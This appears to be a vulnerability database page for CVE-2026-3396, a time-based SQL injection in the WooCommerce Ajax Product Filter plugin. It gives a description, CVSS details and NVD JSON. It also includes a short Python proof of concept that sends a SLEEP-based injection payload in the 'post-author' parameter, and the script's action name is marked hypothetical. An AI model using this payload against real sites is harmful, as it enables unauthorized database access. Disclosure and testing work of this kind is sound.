Security Vulnerability Report
中文
CVE-2026-3396 CVSS 7.5 HIGH

CVE-2026-3396

Published: 2026-04-08 12:16:22
Last Modified: 2026-04-24 18:05:09

Description

WCAPF – WooCommerce Ajax Product Filter plugin is vulnerable to time-based SQL Injection via the 'post-author' parameter in all versions up to, and including, 4.2.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WCAPF – WooCommerce Ajax Product Filter <= 4.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (example) target = "http://target-site.com/wp-admin/admin-ajax.php" # The vulnerable parameter is 'post-author' # Payload for time-based blind SQL injection checking payload = { "action": "wcapf_filter_products", # Hypothetical action name "post-author": "1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)" } try: print("Sending payload...") r = requests.post(target, data=payload, timeout=10) # If the request takes longer than 5 seconds, the sleep executed if r.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: Time-based SQL Injection detected.") else: print("[-] Not vulnerable or payload filtered.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3396", "sourceIdentifier": "[email protected]", "published": "2026-04-08T12:16:21.763", "lastModified": "2026-04-24T18:05:09.240", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "WCAPF – WooCommerce Ajax Product Filter plugin is vulnerable to time-based SQL Injection via the 'post-author' parameter in all versions up to, and including, 4.2.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wc-ajax-product-filter/trunk/includes/class-wcapf-product-filter.php#L65", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wc-ajax-product-filter/trunk/includes/class-wcapf-product-filter.php#L689", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wc-ajax-product-filter/trunk/includes/class-wcapf-product-filter.php#L739", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wc-ajax-product-filter/trunk/includes/class-wcapf-product-filter.php#L81", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3484080/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ee0a762e-9159-4dab-a7be-9cbe332effb1?source=cve", "source": "[email protected]"}]}}